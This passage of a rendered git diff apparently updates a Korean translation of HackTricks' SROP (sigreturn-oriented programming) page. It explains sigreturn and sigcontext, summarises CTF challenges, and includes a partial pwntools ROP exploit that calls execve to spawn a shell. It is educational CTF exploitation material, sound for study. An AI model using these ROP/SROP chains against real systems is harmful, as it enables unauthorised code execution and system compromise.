rop += b"C"*(0x18 - len(rop))
|
||||
rop += p64(0x00) # x1
|
||||
rop += b"CCCCCCCC" #x4
|
||||
|
||||
# ldr x5, [sp, #0x58]
|
||||
rop += b"D"*(0x58 - len(rop))
|
||||
rop += p64(call_execve) # x5
|
||||
|
||||
# ldr x2, [sp, #0xe0]
|
||||
rop += b"E" * (0xe0 - len(rop))
|
||||
rop += p64(0x00) # x2
|
||||
|
||||
payload = bof + rop
|
||||
|
||||
p.sendline(payload)
|
||||
|
||||
p.interactive()
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
|
@ -1,38 +1,38 @@
|
|||
# SROP - 시그리턴 지향 프로그래밍
|
||||
# SROP - Sigreturn-Oriented Programming
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고**하거나 **PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나**트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 제출하세요.
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
## 기본 정보
|
||||
|
||||
**`Sigreturn`**은 주로 **시그널 핸들러가 실행을 완료한 후 정리하는 데 사용되는 특수 **시스콜**입니다. 시그널은 운영 체제가 프로그램에 보내는 중단으로, 일반적으로 어떤 예외 상황이 발생했음을 나타냅니다. 프로그램이 시그널을 수신하면 현재 작업을 일시 중지하고 시그널을 처리하기 위해 **시그널 핸들러**라는 특수 함수를 사용합니다.
|
||||
**`Sigreturn`**은 주로 **시그널 핸들러**가 실행을 완료한 후 정리하는 데 사용되는 특수한 **시스템 호출**입니다. 시그널은 운영 체제가 프로그램에 보내는 중단으로, 일반적으로 어떤 예외 상황이 발생했음을 나타냅니다. 프로그램이 시그널을 수신하면 현재 작업을 일시 중지하여 **시그널 핸들러**로 시그널을 처리하는 특수 함수로 이동합니다.
|
||||
|
||||
시그널 핸들러가 완료되면 프로그램은 아무 일도 일어나지 않은 것처럼 **이전 상태로 복귀해야** 합니다. 이때 **`sigreturn`**이 필요합니다. 이는 프로그램이 **시그널 핸들러에서 반환**하고 시그널 핸들러에서 사용된 **스택 프레임**(함수 호출 및 로컬 변수를 저장하는 메모리 섹션)을 정리하여 프로그램의 상태를 복원하는 데 도움을 줍니다.
|
||||
|
||||
흥미로운 부분은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: **CPU의 모든 레지스터 값을 스택에 저장**합니다. 시그널이 더 이상 차단되지 않으면 **`sigreturn`이 이러한 값을 스택에서 팝**하여 CPU의 레지스터를 효과적으로 시그널을 처리하기 전의 상태로 재설정합니다. 이는 스택 포인터 레지스터(RSP)를 포함하여 CPU의 레지스터를 모두 포함합니다.
|
||||
흥미로운 부분은 **`sigreturn`**이 프로그램의 상태를 복원하는 방법입니다: **CPU의 모든 레지스터 값을 스택에 저장**합니다. 시그널이 더 이상 차단되지 않으면 **`sigreturn`이 이러한 값을 스택에서 팝**하여 CPU의 레지스터를 효과적으로 시그널 처리 전의 상태로 재설정합니다. 이는 스택의 현재 최상위를 가리키는 스택 포인터 레지스터(RSP)를 포함합니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
ROP 체인에서 **`sigreturn`** 시스콜을 호출하고 **원하는 레지스터 값을 스택에 추가**하여 모든 레지스터 값을 **제어**하고 따라서 예를 들어 `/bin/sh`로 `execve` 시스콜을 호출할 수 있습니다.
|
||||
ROP 체인에서 **`sigreturn`** 시스템 호출을 수행하고 **레지스터 값**을 **스택**에 로드하면 모든 레지스터 값을 **제어**할 수 있으며 따라서 예를 들어 `/bin/sh`를 사용하여 `execve` 시스템 호출을 호출할 수 있습니다.
|
||||
{% endhint %}
|
||||
|
||||
이는 다른 Ret2syscalls를 호출하기 위해 매개변수를 쉽게 제어할 수 있는 **Ret2syscall 유형**입니다:
|
||||
이는 다른 Ret2syscall을 호출할 때 매개변수를 제어하기가 훨씬 쉬운 **Ret2syscall 유형**일 것임을 유의하십시오:
|
||||
|
||||
{% content-ref url="rop-syscall-execv.md" %}
|
||||
[rop-syscall-execv.md](rop-syscall-execv.md)
|
||||
{% content-ref url="rop-syscall-execv/" %}
|
||||
[rop-syscall-execv](rop-syscall-execv/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
호기심이 있다면 나중에 값을 복구하기 위해 스택에 저장된 **sigcontext 구조**를 살펴보세요(여기서 다이어그램 참조: [**여기**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
|
||||
호기심이 있다면 나중에 값을 복구하기 위해 스택에 저장된 **sigcontext 구조**를 확인할 수 있습니다(여기서 다이어그램 참조: [**여기**](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)):
|
||||
```
|
||||
+--------------------+--------------------+
|
||||
| rt_sigeturn() | uc_flags |
|
||||
|
@ -68,9 +68,13 @@ ROP 체인에서 **`sigreturn`** 시스콜을 호출하고 **원하는 레지스
|
|||
| __reserved | sigmask |
|
||||
+--------------------+--------------------+
|
||||
```
|
||||
더 나은 설명을 위해 여기를 확인하세요:
|
||||
|
||||
{% embed url="https://youtu.be/ADULSwnQs-s?feature=shared" %}
|
||||
|
||||
## 예시
|
||||
|
||||
[**여기에서 예시를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) 여기서 signeturn 호출이 ROP를 통해 구성되었으며 (rxa에 값 `0xf`을 넣음), 그러나 이것은 거기서의 최종 악용입니다:
|
||||
[**여기에서 예시를 찾을 수 있습니다**](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop/using-srop) 여기서 signeturn 호출이 ROP를 통해 구성되었습니다 (rxa에 값 `0xf`를 넣음). 그러나 이겪은 거기서의 최종 exploit입니다:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
@ -135,10 +139,10 @@ target.interactive()
|
|||
* [https://youtu.be/ADULSwnQs-s?feature=shared](https://youtu.be/ADULSwnQs-s?feature=shared)
|
||||
* [https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop](https://ir0nstone.gitbook.io/notes/types/stack/syscalls/sigreturn-oriented-programming-srop)
|
||||
* [https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html](https://guyinatuxedo.github.io/16-srop/backdoor\_funsignals/index.html)
|
||||
* **스택에 쓰고** **`sigreturn`** 시스템 호출을 하는 어셈블리 바이너리. **sigreturn** 구조체를 통해 **[**ret2syscall**](rop-syscall-execv.md)**를 스택에 쓰고 이를 통해 바이너리 메모리 내부에 있는 플래그를 읽을 수 있습니다.
|
||||
* **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 수행하는 어셈블리 바이너리입니다. **sigreturn** 구조를 통해 **`ret2syscall`**을 스택에 쓰고 이를 통해 바이너리 메모리 내에 있는 플래그를 읽을 수 있습니다.
|
||||
* [https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html](https://guyinatuxedo.github.io/16-srop/csaw19\_smallboi/index.html)
|
||||
* **스택에 쓰고** **`sigreturn`** 시스템 호출을 하는 어셈블리 바이너리. **sigreturn** 구조체를 통해 **[**ret2syscall**](rop-syscall-execv.md)**를 스택에 쓰고(바이너리에는 `/bin/sh` 문자열이 포함되어 있음).
|
||||
* **스택에 쓰기**를 허용하고 **`sigreturn`** 시스템 호출을 수행하는 어셈블리 바이너리입니다. **sigreturn** 구조를 통해 **`ret2syscall`**을 스택에 쓸 수 있습니다(바이너리에는 `/bin/sh` 문자열이 포함되어 있음).
|
||||
* [https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html](https://guyinatuxedo.github.io/16-srop/inctf17\_stupidrop/index.html)
|
||||
* 64비트, relro 없음, 캐너리 없음, nx, pie 없음. `gets` 함수를 남용하는 간단한 버퍼 오버플로우로 **[**ret2syscall**](rop-syscall-execv.md)**를 수행하는 가젯이 부족한 어셈블리 바이너리. ROP 체인은 다시 gets를 호출하여 `.bss`에 `/bin/sh`를 쓰고, **`alarm`** 함수를 악용하여 eax를 `0xf`로 설정하여 **SROP**를 호출하고 셸을 실행합니다.
|
||||
* 64비트, relro 없음, 캐너리 없음, nx, pie 없음. `gets` 함수를 남용하는 간단한 버퍼 오버플로우로 **`ret2syscall`**을 수행하는 가젯이 부족합니다. ROP 체인은 다시 gets를 호출하여 `.bss`에 `/bin/sh`를 쓰고, **`alarm`** 함수를 남용하여 eax를 `0xf`로 설정하여 **SROP**을 호출하고 셸을 실행합니다.
|
||||
* [https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html](https://guyinatuxedo.github.io/16-srop/swamp19\_syscaller/index.html)
|
||||
* 64비트 어셈블리 프로그램, relro 없음, 캐너리 없음, nx, pie 없음. 흐름은 스택에 쓰고 여러 레지스터를 제어하고 시스템 호출을 하고 나서 `exit`를 호출합니다. 선택된 시스템 호출은 `sigreturn`이며 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하고 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간으로 설정합니다. 프로그램은 ESP를 다시 읽어들이지만 이 경우 ESP는 다음 명령어를 가리키게 되므로 셸코드를 전달하면 다음 명령어로 쓰여 실행됩니다.
|
||||
* 64비트 어셈블리 프로그램, relro 없음, 캐너리 없음, nx, pie 없음. 흐름을 통해 스택에 쓰고 여러 레지스터를 제어하고 시스템 호출을 수행한 후 `exit`를 호출합니다. 선택된 시스템 호출은 `sigreturn`이며 레지스터를 설정하고 `eip`를 이전 시스템 호출 명령어를 호출하고 `memprotect`를 실행하여 바이너리 공간을 `rwx`로 설정하고 ESP를 바이너리 공간에 설정합니다. 프로그램은 ESP를 다시 읽어들이지만 이 경우 ESP는 다음 명령어를 가리키게 되므로 셸코드를 전달하여 다음 명령어로 쓰고 실행합니다.
|
||||
|
|
Loading…
Reference in a new issue